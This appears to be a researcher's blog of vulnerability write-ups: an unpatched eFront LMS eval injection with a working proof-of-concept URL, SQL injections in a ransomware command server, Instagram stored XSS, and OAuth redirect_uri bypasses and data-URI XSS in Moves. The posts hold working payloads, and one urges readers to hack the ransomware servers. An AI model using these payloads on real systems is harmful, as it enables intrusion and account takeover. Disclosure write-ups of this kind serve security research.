Wednesday, October 26, 2016

Posted by Paulos Yibelo
No comments | 11:48 AM
TL,DR; A friend reminded me a couple of days ago to publish something, since its been a while since I published a post. so this is going to be a short post about an interesting-ish RCE found in all versions of eFront LMS - unfortunately, since the report have passed 90 days since initial report, I am publishing it. I will update this post if a patch for the bug is out.

The reason I have been away from the internet is because of the internet blockage in Ethiopia caused by the State of Emergency & its consequences facing you if you don't follow it, I am currently in a neighboring country so I am not technically disrespecting any laws.

In /efront/libraries/globals.php:

The following handleSEO() function is the one causing the code execution. it looks like the following:

function handleSEO() {
    if (!$GLOBALS['configuration']['seo'] && $_SERVER['PATH_INFO']) {
        $parts = explode("/", trim($_SERVER['PATH_INFO'], "/"));
        for ($i = 0; $i < sizeof($parts); $i+=2) {
            eval('$'.$parts[$i].' = "'.$parts[$i+1].'";');
        foreach (get_defined_vars() as $key => $value) {
            $_GET[$key] = $value;

Because of their assumption that $_SERVER['PATH_INFO'] isn't user controllable, they sent it stright to eval(), causing the code execution.

Final PoC: https://localhost/efonrt/libraries/globals.php/hack/x%22%3Beval(phpinfo())%3B%24t%3D%22pwnd
visiting the above link will get phpinfo() executed.

Breaking it down:

$parts = explode("/", trim($_SERVER['PATH_INFO'], "/"));
for ($i = 0; $i < sizeof($parts); $i+=2) {
            eval('$'.$parts[$i].' = "'.$parts[$i+1].'";');

Because of that specific code, we send in /globals.php/hack/x, which will become:

But because php already executed the code, doing a comment (/*..*/) wont work and will crash it, so we will just tamper the variables like x";eval(phpinfo());$t="pwnd

This will endup creating:

$hack = "x";eval(phpinfo());$t="pwnd";

This is then interpreted as: 

eval($hack = "x";eval(phpinfo());$t="pwnd";);

And Boom! We got our code executed!

Hope you enjoyed the read!

Saturday, September 3, 2016

Posted by Paulos Yibelo
4 comments | 3:56 AM
In this Vigilante series, we will take-down a ransomware C&C called Rush/Sanction. As many of you may know, I usually give time to patch vulnerabilities before posting them, but this series is like a "pro bono" because I don't really like things that steal from people & ransomewares in general (as my earlier project zerorose is suppose to help with)

So I recently got access to their C&C (Command and control) source code (written in PHP) and discovered 3 SQL-injections. I am also blogging this without giving them a chance to patch  (as a 0day) because they don't deserve it. infact, I recommend people to hack all their C&C's, takeover their servers and steal all their bitcoins and return them to the victim's accounts. (no pressure)

The Sanction Ransomware is a threat that con-artists use to encrypt files on the victims' computers. The Sanction Ransomware uses an AES algorithm to encrypt the victim's files and changes the extension of every file the Sanction Ransomware encrypts. Like other encryption ransomware infections, the Sanction Ransomware demands the payment of a ransom to provide the decryption key. PC security researchers strongly advise against paying the Sanction Ransomware ransom unless there is no other choice. Computer users have no way to be sure that the people responsible for the Sanction Ransomware will restore the encrypted files once the ransom is paid. Furthermore, paying the Sanction Ransomware ransom enables the creators of the Sanction Ransomware to continue producing and distributing threats. As long as encryption ransomware remains financially viable because computer users fail to back up their files and agree to pay the ransoms included in these threats, additional infections like the Sanction Ransomware will continue to appear.

When the Sanction Ransomware encrypts the victim's files, it displays various types of ransom notes on the victim's computer. The Sanction Ransomware will display this ransom note in the form of text, image, and HTML files dropped in directories containing the encrypted files. The Sanction Ransomware will also cause pop-up messages and change the victim's Desktop image to demand the payment of its ransom. The Sanction Ransomware demands the payment of its ransom using BitCoins, an anonymous cyber-currency that allows con artists to profit from their attacks while remaining anonymous.

The Sanction Ransomware is very similar to a variety of other encryption ransomware threats, in particular TeslaCrypt. Most of these attacks are very similar to each other, both in their tactics and implementation. In fact, they may be reskinned versions of the same basic threat, sharing nearly all of their code. PC security researchers strongly advise computer users to backup all files that they would not want to become inaccessible. The Sanction Ransomware and similar threats scan the victim's computer for files with specific extensions, encrypting all files matching that description. This allows the Sanction Ransomware to carry out its attack while still being able to demand ransom and make threats on the victim's computer. The following are some of the file extensions that the Sanction Ransomware and similar ransomware Trojans target:

.gif, .groups, .hdd, .hpp, .log, .m2ts, .m4p, .mkv, .mpeg, .ndf, .nvram, .ogg, .ost, .pab, .pdb, .pif, .png, .qed, .qcow, .qcow2, .rvt, .st7, .stm, .vbox, .vdi, .vhd, .vhdx, .vmdk, .vmsd, .vmx, .vmxf, .3fr, .3pr, .ab4, .accde, .accdr, .accdt, .ach, .acr, .adb, .ads, .agdl, .ait, .apj, .asm, .awg, .back, .backup, .backupdb, .bay, .bdb, .bgt, .bik, .bpw, .cdr3, .cdr4, .cdr5, .cdr6, .cdrw, .ce1, .ce2, .cib, .craw, .crw, .csh, .csl, .db_journal, .dc2, .dcs, .ddoc, .ddrw, .der, .des, .dgc, .djvu, .dng, .drf, .dxg, .eml, .erbsql, .erf, .exf, .ffd, .fh, .fhd, .gray, .grey, .gry, .hbk, .ibd, .ibz, .iiq, .incpas, .jpe, .kc2, .kdbx, .kdc, .kpdx, .lua, .mdc, .mef, .mfw, .mmw, .mny, .mrw, .myd, .ndd, .nef, .nk2, .nop, .nrw, .ns2, .ns3, .ns4, .nwb, .nx2, .nxl, .nyf, .odb, .odf, .odg, .odm, .orf, .otg, .oth, .otp, .ots, .ott, .p12, .p7b, .p7c, .pdd, .pem, .plus_muhd, .plc, .pot, .pptx, .psafe3, .py, .qba, .qbr, .qbw, .qbx, .qby, .raf, .rat, .raw, .rdb, .rwl, .rwz, .s3db, .sd0, .sda, .sdf, .sqlite, .sqlite3, .sqlitedb, .sr2, .srf, .srw, .st5, .st8, .std, .sti, .stw, .stx, .sxd, .sxg, .sxi, .sxm, .tex, .wallet...

1. In Sanction/config.php: 29

$del = $_GET["delete"];
if(!empty($del)) {
   $ques = "DELETE FROM `logs` WHERE `GUID` = '$del'";
   header('location: view.php');

As you can clearly see, the delete parameter sent through GET is put inside an SQL statement without no sanitizaiton. you can disable redirections on your end with plugins like NoRedirect to ignore the constant redirect whenever you sent the `delete` parameter.

2. In Sanction/write.php: 13

$tlc = $_POST["tlc"];
 if(!empty($tlc )) {
    $que = "UPDATE `logs`SET totallocked = '$tlc' WHERE `ip` = '$ip'";

3. In Sanction/write.php: 20

$mai = $_POST["firstname"];
$gui = $_POST["guid"];
   $qs = "UPDATE `logs`SET mail = '$mai' WHERE `GUID` = '$gui'";


Good luck! :)

Thursday, August 4, 2016

Posted by Paulos Yibelo
No comments | 3:36 AM
A few weeks ago, I found a stored cross site scripting bug in Instagram that was tricky to craft a real exploit from. In Instagram Developers, you can create your own OAuth applications to be granted by the user and use the API. the vulnerable parameter is the "url" POST parameter, where you provide your site's address and the user could navigate to see who the developer is.

The parameter was properly sanitized, & even sent thru Linkshim to validate its not a malicious link. but here is the best part, Linkshim only validates if the link is malicious from a list of database files it have and if it doesn't exisit in the db, it will just put the url in a hyperlink reference.

And I assume because of this Facebook assumed when a link is sent thru linkshim, a link would get out. and they are right, and they are validating everything right. except for the scheme.

So worked but since schemes weren't validated, so did javascript:// At this point, it will seem like we got a working exploit. but there are different limitation factors here. the first one being there are lots of character limitations to write a payload. because characters are properly HTML entitied, we can't use quotes & other key elements. and because linkshim is there, the payload needed to be a valid & safe-uri, but with our payload.

Crafting an alert was easy, we just put javascript://`Hello!`

The above payload can generate an alert that says "Hello" in any modern browser thanks to ECMAScript6. notice there aren't any braces or quotes in there, and I added a newline (%0A), to make the alert not a javascript comment because linkshim would require us to follow standard scheme protocols (xxx://y)

Going Beyond Alert

This part is just an extension to prove exploitability. because of Session cookies, this wont be as simple as stealing cookies then saying game over. also because of the limitation factors I wrote above, crafting a normal payload isn't an option. 

So I had to use DOM manipulation techniques to get the Authorization button when clicked, authorizing our malicious application to be used on behalf of the user with all the scopes available (comments+likes+basic+public_content+follower_list+relationships)

The pre-final payload I crafted looks like: 


As you can see we didn't use any quotes but only the allowed characters, and when visited, that will
authorize the malicious application in-to the users account. :) so the final payload would look something like:


Here is a video poc:

Report Timeline

July 24, 2016 - Inital Report
July 26, 2016 - Triage
July 30, 2016 - Patch!

Wednesday, June 22, 2016

Posted by Paulos Yibelo
No comments | 3:53 PM
This is going to a very short post about a redirect_uri bypass technique I found in Moves.

Moves is a company owned by Facebook and one of the acquisitions in scope for the bug bounty program they are running.

I have written about an XSS bug caused in this same parameter entitled "Moves OAuth XSS" and this will cover a not so common redirect_uri bypass method. & after the xss I, "...continue testing" (quoting GLaDOS from Portal)

Anyway, there are a lot of ways to bypass redirect_uri's in OAuth, it all depends on what server side check we are facing and what limitation factors there are. for instance, in Facebook's case, if you set your applications allowed callback to it will allow that+ anything following it. so is considered perfectly valid. some other sites like Coinbase & Uber implement it differently. and addition of any queries, directories or domains will be considered invalid so scenarios that worked on Facebook will be invalid.

That leaves some OAuth clients heavily misconfigured and sometimes causes serious issues like OAuth bypasses possible.

However, there are sometimes confusions on the server handling these urls (often since dealing with url encoded values) and some bypasses are possible. 
Consider a site that configured its allowed callback url to

Possible bypasses to tamper with sub-directories:

  4. (double encoded)
  6. (for servers ignoring nonprintable CRLF chracters)   
 In moves case, I used the 5th example. it basically confuses the parser and thus let it assume /new/path/ is the allowed subdir.

PoC app: (obviously patched)

That application, although configured to redirect to it will redirect to 

Attack Scenario:

Consider an open redirect in like
If the developer set the callback to he will expect the OAuth provider won't accept other paths. (so open redirect is low priority here)

However, using the bypass, we create our malicious path like:

We encode the characters so it will be considered as a path and not tamper with the parser. 
the %23 (#) is added at the end to not let the other path following (../moves/callback) matter.

that will redirect to (my precious) and we just get our stolen code via document.hash and game over!

Here is a video poc

Report Timeline

Apr 29 - Inital Report
May 6 - Triage
May 9 - Patch

Monday, June 6, 2016

Posted by Paulos Yibelo
1 comment | 5:26 PM

Since a couple months back, I & a friend have been working on an interesting project called Zerorose. basically its a web vulnerability scanner, but not in a sense you are probably thinking of. we scan your system vulnerabilities from our site.


Zerorose is a project that tries to use a couple of machine learning algorithms to analyze known vulnerabilities in the visitors system. It does this by identifying plugins, browser, OS, common misconfigurations and similar key identifiers, and checking if any of them are known to be vulnerable for any issues, if they are or infected with malwares, if they still have support, if their compatibility/installation can cause other issues or best practice bypasses. we try to make Exploitkits, adwares and other malicious infections like ransomwares doesn’t happen.

 “An exploit kit is a software kit designed to run on web servers, with the purpose of identifying software vulnerabilities in client machines communicating with it, and discovering and exploiting vulnerabilities to upload and execute malicious code on the client. One of the earlier kits was MPack, in 2006. Exploit kits are often designed to be modular and easy to use, enabling the addition of new vulnerabilities and the removal of existing ones.

Do you have a cool video so that I can show my friends?


In short: we identify exploitable vulnerabilities (hopfully) before the bad guys do. so you can roam the internet free without automatic client side exploits triggering out of infected, shady sites, malvertising campaigns and that porn site you sometimes visit.

False Positives

Although we try to deliver reliable and actionable information, it is possible for the system to assume and identify non-existent issues because of a number of factors. This could be because you using a modified user agent, using modified plugins or the names of plugins, addons or scripts you using matching a known malware. if that is the case, you can click on "Report" at the right side of the report and it will try to evaluate (of course, with manual check) & learn from its mistakes.

How are you different from exploit kits?

You may have heard of Blackhole, Crime, Angler or other exploit kits. What they are doing is not much different from us, except maybe: we are helping you patch instead exploit them & we are cooler in many ways. ;))

Can I trust zerorose?

Of course. *promises*

Are you the only one doing this?

As far as we are aware, yes. Us and exploit kits.

Why not open source?

We figured it’s quite easier to visit our website than download/run it in your host everytime you want to scan something, and that data will soon be outdated. That and we don’t want to share our codez.

Why is it free?

Honestly, we have no idea. I know its a bit suspicious why we went this far to build this but it was mostly done just because we care. =))

Do you accept donations?

Yes, we welcome any kind of help being we are a small team doing this in a part time. please click here to do that.
I hope you find this interesting & it helped you.

Friday, December 25, 2015

Posted by Paulos Yibelo
3 comments | 10:33 AM

Its been a while since I have blogged. I have since became a twitter person. mostly reading peoples findings.

Anyway, this is going to be a short post about causing an XSS on Moves. As many of you might know, Moves (moves-app) is a part of Facebook's Bug Bounty program.


OAuth - for those of you who dont know, is an open standard for authorization. OAuth provides client applications a 'secure delegated access' to server resources on behalf of a resource owner. It specifies a process for resource owners to authorize third-party access to their server resources without sharing their credentials.

Many big sites like Facebook, Google, Twitter and Dropbox use it to share specific access from a user to third-parties.
In developers can create their Moves application(s) by using OAuth 2.0. meaning, by simply creating an application with redirect_uri, the thirdparty can get access to Moves profiles with the provided scope (location, access, read/write...).

The part that caused the XSS is the redirect_uri, they have blacklisted certain schemes from being added. forexample, I can't add "javascript://", "data:" and other protocols to the redirection url for the application I am creating.

If you notice carefully, those aren't the only dangerous schemes when it comes to script execution. for example, using "vbscript://" was possible. but due to the unlikely conditions that the user have to use an older version of Internet Explorer to get that executed, that was almost a dead end.

Bypassing Filter

As you might know, blacklisting may not be the right solution when it comes to XSS.

Things we know,:
it will expect either http or http(s)
schemes need to contain protocols. (://)

using dAta:// and jAvaScRipT:// worked with http(s?):// following them. because the regex wasn't checking for case sensitivity/i.

so redirect_uri=jaVaScrIpt://alert(0);//http:// is an ideal payload. because http will be treated as a comment.

However, there are no known payloads that will execute a script after using the data:// scheme like that, an ideal payload would be something like data:text/html;<script>alert(0)</script> but that wasn't possible.

Next is javascript, using javascript://alert(0) is also not an option, considering javascript will treat parts following it as a comment. turns out we can use newlines and breaks to cause script execution. so javascript://%0Aalert(0)//http:// works fine and causes that alert() we all love to see.

<a href="javascript://%0Aalert(0)//http://">Click</a>

works fine. but only in the <a>nchor context. but not in the redirection.
so Location: javascript:anything() actually doesn't work (just became aware of this because @filedescriptor mentioned it, I had no clue)

However, data:// schemes work fine. so data:// is our ideal payload. but turns out the :// isn't actually mandatory, because the http:// following in the comments can help within.

Ideal solution: daTa:text/html:base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K#http://

Errors. Errors eveywhere. Solution: URL encoding.

Simply by encoding the URL it is possible to get a working payload,

Final solution: daTa:text/html%3Bbase64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K%23



UPDATE: Abdellah mentioned this can be exploited automatically using a well known OAuth misconfig. simply changing the "scope" to unknown, an error will be triggered that will force an error redirection to the redirect_uri (which in this case is the malicious paylaod). so this should work fine:'texist&redirect_uri=daTa:text/html%3Bbase64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K%23http://
or, moves will exploit its ownself for us, with no user-interaction whatsoever. here is the secrete:

If no user-interaction is occured, moves will redirect to the redirect_uri in 9 seconds. and we simply set our malicious script as a redirect_uri and send that user to that page, even if he doesn't do anything, the exploit will trigger it self in 9 seconds. awesome!

simply by embedding the authorization url in an iframe or img tag, any moves user should be exploitable. here is a video demonstrating it:



24 November 2015 - Initial Discovery
2 December 2015 - Report
8 December 2015 - More data sent.
9 December 2015 - Escalated by Facebook
10 December 2015- Patch
10 December 2015 - Fix Confirmation